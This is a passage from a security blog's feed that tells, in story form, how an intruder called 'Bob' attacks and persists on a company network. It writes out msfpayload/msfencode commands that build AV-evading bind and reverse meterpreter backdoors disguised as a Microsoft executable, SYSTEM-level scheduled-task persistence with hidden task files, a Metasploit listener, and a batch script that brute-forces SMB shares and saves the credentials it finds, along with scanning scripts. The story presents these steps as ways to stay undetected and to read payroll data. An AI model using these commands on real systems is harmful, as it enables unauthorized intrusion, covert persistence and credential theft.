51);"&gt;schtasks /create /tn "Winmsd16" /tr C:\Windows\System32\winmsd16.exe /sc onstart /RU "NT AUTHORITY\SYSTEM"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SwcmQ8L1mTI/AAAAAAAABXs/jvCyNeZV0cI/s1600/upload5.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 201px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SwcmQ8L1mTI/AAAAAAAABXs/jvCyNeZV0cI/s320/upload5.png" alt="" id="BLOGGER_PHOTO_ID_5406331950157109554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now the only way the normal logged in user would see these Scheduled Tasks is by looking at the directory using a command prompt.  Only an Administrator running schtasks on the PC would see these scheduled tasks, anyone else will see nothing.  Even looking at the C:\Windows\Tasks folder through explorer wouldn't show the tasks as it will only show the current users tasks.&lt;br /&gt;&lt;br /&gt;Bobs pretty happy about this but what would make him happier would be if it was really really hard to see his backdoors. Then it occurs to him that by changing the attributes on the jobs in the tasks folder it would be really really hard as the user would have to do a "dir /a:h *.*" on the directory specifically. Okay, so thats not really really hard but it is a bit of a bugger!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;cd \windows\tasks&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;Attrib +H winmsd*.job&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then Bob checks his handy work by looking at just hidden files.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SwcmjoJeCzI/AAAAAAAABX0/NV8bDA7fbgg/s1600/upload7.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 201px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SwcmjoJeCzI/AAAAAAAABX0/NV8bDA7fbgg/s320/upload7.png" alt="" id="BLOGGER_PHOTO_ID_5406332271195982642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Great, Bob fires up another instance of msfconsole and sets up his handler for the sessions that should start coming in.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;use multi/handler&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set LHOST 192.168.2.102&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set LPORT 8080&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set ExitOnSession false&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set AutoRunScript winenum.rb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;exploit -j -z&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Swcm2WQyj6I/AAAAAAAABX8/tceu3exsYEQ/s1600/upload6.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 201px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Swcm2WQyj6I/AAAAAAAABX8/tceu3exsYEQ/s320/upload6.png" alt="" id="BLOGGER_PHOTO_ID_5406332592812363682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Within a minute or 2 Bob gets a session from his scheduled task backdoor.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SwcnPlxoEfI/AAAAAAAABYE/XZHn_Dvd8bw/s1600/upload8.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 201px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SwcnPlxoEfI/AAAAAAAABYE/XZHn_Dvd8bw/s320/upload8.png" alt="" id="BLOGGER_PHOTO_ID_5406333026473349618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What he really likes about these scheduled tasks is he wont get loads of sessions back from the same host, but if he looses connection he'll get another session back 10 minutes later.  Also, every now and then Bob can change the AutoRunScript so Metasploit can gather all sorts of useful information on his behalf.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now Bob is in, he has his backdoors sorted and he wants to have a look around to see what else might be interesting.  Bob has a knows a guy who works for Wallifords.  Now this guys is a bit of a dick and is always boasting about how much he earns.  Bobs sure the guy exaggerates, wouldn't it be nice if Bob could access the payroll data and see if this guy is telling the truth?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Oh, look at that, lunch time. Bob goes and gets his dinner and has a think about what other interesting things he might be able to find on the Walliford network.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Coming next.......Bob gets to know his new friends!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-6952392750866862377?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/6952392750866862377/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=6952392750866862377&amp;isPopup=true' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6952392750866862377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6952392750866862377'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/11/bob-backdoor-man-part-2.html' title='Bob The Backdoor Man - Part 2'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/SwckstInyVI/AAAAAAAABXM/Dzrxtkla4nQ/s72-c/upload1.png' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-2829195263166233095</id><published>2009-11-17T22:10:00.015Z</published><updated>2009-11-20T21:40:57.130Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Bob The Backdoor Man - Part 1</title><content type='html'>&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;&lt;a href="http://synjunkie.blogspot.com/2009/11/amazing-adventures-of-bob.html"&gt;Previously in Bob Land......&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bob hears on the grapevine that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;ncat&lt;/span&gt; won't work as a single executable.  This is a bit of a bugger and it does give  Bob a problem. His intention was to use &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;ncat&lt;/span&gt; for file transfers, proxies and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;backdoors&lt;/span&gt;. It was also pretty useful that it was pretty much undetected by AV.&lt;br /&gt;&lt;br /&gt;Luckily for Bob he hears from a good friend that it's quite possible to modify &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;netcat&lt;/span&gt; to be able to bypass anti-virus software.  And luckily for Bob, the most talented &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Muts&lt;/span&gt; has created a video that shows him exactly how to do that &lt;a href="http://://www.offensive-security.com/videos/shmoocon-presentation-2008-video/piss-on-your-av.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This problem also presents Bob with the perfect opportunity to get his hands dirty with some &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;msfpayload&lt;/span&gt; love. He &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;reckons&lt;/span&gt; that if he creates a couple of payloads to add into his cab file he should be able to do everything he needs. And the beauty of using &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;msfpayload&lt;/span&gt; is he'll be able to run them through &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;msfencode&lt;/span&gt; to bypass most anti-virus.&lt;br /&gt;&lt;br /&gt;Before Bob creates his payloads he grabs a copy of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;winmsd&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;exe&lt;/span&gt; from his Windows OS.  It doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want this because all his payloads can take on the characteristics of the file.  Rather than going to great &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_11"&gt;lengths&lt;/span&gt; to hide a file, Bobs opinion is that hiding in plain site will probably be better.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Payload 1&lt;/span&gt;&lt;br /&gt;For Bobs first payload he wants to create a generic payload that will spawn a command shell when he connects to it on port 6666.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;msfpayload&lt;/span&gt; windows/shell_bind_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;tcp&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;LPORT&lt;/span&gt;=6666 R | ./&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;msfencode&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;exe&lt;/span&gt; -x /root/payloads/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;winmsd&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;exe&lt;/span&gt; -o /root/payloads/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;winmsd&lt;/span&gt;16.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SwMzEpo9G-I/AAAAAAAABW8/5oojRlWBC9w/s1600/payloads1.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 96px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SwMzEpo9G-I/AAAAAAAABW8/5oojRlWBC9w/s320/payloads1.png" alt="" id="BLOGGER_PHOTO_ID_5405220132764851170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bob has specified a payload that will bind a shell to port 6666.  He outputs this in raw format to the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;msfencode&lt;/span&gt; program that will help avoid detection by anti-virus software. Finally he has specified that the file is called &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;winmsd&lt;/span&gt;16.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;exe&lt;/span&gt; and upon physical inspection it will look just like the original &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;winmsd&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;exe&lt;/span&gt; file.&lt;br /&gt;&lt;br /&gt;After Bob creates the file he tests it out on his &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;XP&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;VM&lt;/span&gt; to make sure it works as expected.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SwMzdPBtViI/AAAAAAAABXE/dU6vzz3lmQ4/s1600/Parallels+Picture.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SwMzdPBtViI/AAAAAAAABXE/dU6vzz3lmQ4/s320/Parallels+Picture.png" alt="" id="BLOGGER_PHOTO_ID_5405220555117647394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Side by side it looks just like the original file, it is identical in size and looks just as through its a legitimate file from Microsoft.&lt;br /&gt;&lt;br /&gt;Bob runs the file and checks he can connect to it with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;netcat&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;nc&lt;/span&gt; 10.0.1.10 6666&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Payload 2&lt;/span&gt;&lt;br /&gt;Bobs second payload will connect back to him when he's on the wireless network and present him with a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;meterpreter&lt;/span&gt; shell.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;msfpayload&lt;/span&gt; windows/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;meterpreter&lt;/span&gt;/reverse_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;tcp&lt;/span&gt; LHOST=192.168.2.102 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;LPORT&lt;/span&gt;=8080 R | ./&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;msfencode&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;exe&lt;/span&gt; -x /root/payloads/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;winmsd&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;exe&lt;/span&gt; -o /root/payloads/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;winmsd&lt;/span&gt;32.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Again Bob uses a legitimate file to copy the characteristics from.  This time on his host he has to make sure he has his listener ready on port 8080.&lt;br /&gt;&lt;br /&gt;Bob decides that when he creates his listener he'll use &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;msfconsole&lt;/span&gt; and pass the following commands:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;use multi/handler&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set LHOST 192.168.1.101&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set LPORT 8080&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set ExitOnSession false&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set AutoRunScript winenum.rb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;exploit -j&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;-z&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bob has configured his listener to accept multiple sessions coming back to him, and the very useful winenum script developed by Carlos "Dark operator" Perez will run against each connecting host.  All the information from the script will be stored in ~/.msf/logs/  Bob may well decide to change this at a later date to another script but for now he's very happy.&lt;br /&gt;&lt;br /&gt;With his modified &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;netcat&lt;/span&gt; and his payloads created and tested Bob rebuilds his cab file and goes to get his dinner.  He knows that during his network exploration adventures he may well come up against some problems that will cause him to create some payloads on the fly but he'll deal with that when it happens.&lt;br /&gt;&lt;br /&gt;Whilst eating his dinner Bob begins to worry that if the Admins at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;Walliford&lt;/span&gt; Fries patch the computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has come up with a few ideas how he might overcome this particular problem.&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_49"&gt;Coming&lt;/span&gt; next....Backdoor Man - Part 2.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-2829195263166233095?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/2829195263166233095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=2829195263166233095&amp;isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2829195263166233095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2829195263166233095'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/11/bob-backdoor-man.html' title='Bob The Backdoor Man - Part 1'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/SwMzEpo9G-I/AAAAAAAABW8/5oojRlWBC9w/s72-c/payloads1.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5960696768448640043</id><published>2009-11-03T22:29:00.014Z</published><updated>2009-11-07T17:23:46.400Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><title type='text'>Bob Prepares For Action</title><content type='html'>&lt;a style="color: rgb(255, 0, 0);" href="http://synjunkie.blogspot.com/2009/11/amazing-adventures-of-bob.html"&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;Previously in Bob land.......&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bobs back and he's been thinking about his new playground. He's realised that if he's not careful he'll attract attention and get into trouble, so he needs to lay down some ground-rules and define some goals before he goes back on the Wallifords network.  If he's going to get the maximum benefit from Wallifords as a training ground rather than a playground he needs to get serious and stop recklessly throwing exploits at any old box.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Goal 1&lt;/span&gt;&lt;br /&gt;To extract as much information about the Walliford Network as possible.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Goal 2&lt;/span&gt;&lt;br /&gt;To identify high value targets and gain access to those systems.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Goal 3&lt;/span&gt;&lt;br /&gt;To remain undetected.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Goal 4&lt;/span&gt;&lt;br /&gt;To generally have fun, learn his tools and practice his techniques.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pretty simple goals eh. Bob knows that to remain undetected he's going to have to use as many tools that are already on the compromised host as he can. He knows that he needs to use as many legitimate tools as possible and only upload those that won't be detected by AV.&lt;br /&gt;&lt;br /&gt;Getting his tools onto the compromised hosts is important, but uploading them one by one is a pain in the arse.  Then Bob remembers something he heard in a great presentation on post exploitation from Dean Der Beer, a reference to a tool called Metacab.  He takes a look at Metacab but decides against using it. Bob really likes the idea of Metacab but he wants a different set of tools so he goes about making his own version. Using the Makecab tool already in XP he creates a cab file containing the few additional tools he needs, knowing he can upload and extract the files from the cab with native windows tools from straight from the  command-line.&lt;br /&gt;&lt;br /&gt;The one tool he cannot do without is netcat but AV picks it up quite easily. Then Bob remembers that his Nmap directory has ncat, a new version of netcat with loads of additional features. Bob runs it through virustotal to see what gives.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SvG-QPbqWhI/AAAAAAAABV0/UVsNBCYd_HY/s1600-h/VT.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 115px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SvG-QPbqWhI/AAAAAAAABV0/UVsNBCYd_HY/s320/VT.png" alt="" id="BLOGGER_PHOTO_ID_5400306614423673362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Perfect, only detected by one AV product out of 41. Now Bob knows that he can use this tool for file transfer, creating proxies and even backdoors.  Many of the other tools he decides to include in the cab file come from the Windows Resource Kit.  This means that there is very little chance of them being detected by AV or looking like Potentially Unwanted Applications (PUA) on the host.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tools List&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;cmd.exe&lt;br /&gt;dsadd.exe&lt;br /&gt;dsget.exe&lt;br /&gt;dsquery.exe&lt;br /&gt;edit.com&lt;br /&gt;ncat.exe&lt;br /&gt;net.exe&lt;br /&gt;ngrep.exe&lt;br /&gt;pmon.exe&lt;br /&gt;PortQry.exe&lt;br /&gt;reg.exe&lt;br /&gt;srvinfo.exe&lt;br /&gt;WinDump.exe&lt;br /&gt;&lt;br /&gt;As expected VirusTotal finds nothing wrong with his other tools, but then again why would it.&lt;br /&gt;&lt;br /&gt;So looking at his tools Bob has his ncat for backdoors and file transfer, he has a port scanner, pmon for keeping an eye on his hosts CPU and memory, tools for extracting anything out of Active Directory, packet sniffers, SrvInfo which is great for looking at details of servers. He also includes a couple of standard tools such as Net.exe and Cmd.exe which are there just encase they had been removed by the Sys Admin.  Hopefully he's got everything he needs for a successful expedition into the Walliford Fries network. If not, he'll go back to the drawingboard and create a new cab file.&lt;br /&gt;&lt;br /&gt;Bob also creates a few bat files that he can use for scanning and password checks. It's easier to create these now and include them in the cab than it is to write them on the fly.&lt;br /&gt;&lt;br /&gt;His first bat file is a simple bruteforce script that will use in-built windows functions to bruteforce shares. He'll supply a userlist (names.txt) and a common password list (words.txt) to the bat file. The password list will be common passwords and can be tweaked using the inbuilt DOS Edit tool when he's  on the target, and the userlists will be generated from his enumeration tool dsquery . After running the bruteforce script any succesfull logins will be saved to a text file (creds.txt).  Bob knows from performing password audits in his other life that even when complex passwords are enforced users will still pick dumb complex passwords, such as Password01. And when it comes to change it......well of course were looking at Password02!&lt;br /&gt;&lt;br /&gt;Before any bruteforcing is done Bob will be checking the password policies so he doesn't trip any account lockout thresholds.  So if the account lockout policy triggers after 3 incorrect attempts in half an hour he'll just try 2 common passwords on all accounts. As they say, slow and steady wins the race.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Set /P target="Enter Target To Perform BF on:"&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;For /F %%i in (names.txt) do @(for /f %%j in (words.txt) do @echo %%i:%%j &amp;amp; @net use \\%target% %%j /u:%%i 2&gt;nul &amp;amp;&amp;amp; echo %%i:%%j &gt;&gt; ./creds.txt &amp;amp;&amp;amp; net use \\%target% /del)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bob will use the either net.exe or dsquery.exe to populate his names.txt file. Dsquery is fantastic for ripping through Active Directory and if you know what your doing you can use them to pretty much find out anything about users and computers. The beauty is, these tools can be run from any user account, so you don't need to pop an admins box to get some juicy info.&lt;br /&gt;&lt;br /&gt;The next bat file that bob will include is to check for hosts that respond to a ping and output the results to a file.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set /P subnet="Enter subnet:"&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;for /L %%i in (1,1,255) do @ping -n 1 -w 1 %subnet%.%%i | find "Reply"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another bat file is created to perform reverse lookups using a nslookup FOR loop.&lt;span style="color: rgb(51, 255, 51);font-size:100%;" &gt;&lt;br /&gt;&lt;br /&gt;set /P subnet="Enter subnet:"&lt;br /&gt;For /L %%i in (1,1,255) do @nslookup %subnet%.%%i 2&gt;nul | find "Name" &amp;amp;&amp;amp; echo %subnet%.%%i&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;And finally a bat file to use the Portqry tool for port scans against hosts in a host file (hosts.txt).  Again he can use dsquery or net.exe to populate the hosts file.&lt;span style="color: rgb(51, 255, 51);font-size:100%;" &gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;For /F %%i in (hosts.txt) do @PortQry.exe -n %%i -o 21,22,23,25,80,139,445,3389,1433 -p tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Ok, that'll do for now. Bob builds his ddf file for his cab file and creates the cab.&lt;span style="color: rgb(51, 255, 51);font-size:100%;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;;*** MakeCAB Directive File for bin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;.OPTION EXPLICIT ;*** Generate errors&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;.Set MaxCabinetSize=0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;.Set MaxDiskSize=0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;.Set CabinetNameTemplate=bin.cab&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;.set DiskDirectoryTemplate=CDROM ;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;.Set CompressionType=MSZIP ;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;.Set UniqueFiles="OFF"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;.Set Cabinet=on&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;.Set DiskDirectory1=bin&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;bf.bat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;cmd.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;dsadd.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;dsget.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;dsquery.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;edit.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;hosts.txt&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;names.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ncat.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;net.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;ngrep.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;pingsweep.bat&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;pmon.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;port-scan.bat&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;PortQry.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;reg.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;rev-lookup.bat&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;srvinfo.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;WinDump.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;words.txt&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;;*** EOF&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;    &lt;a onblur="try 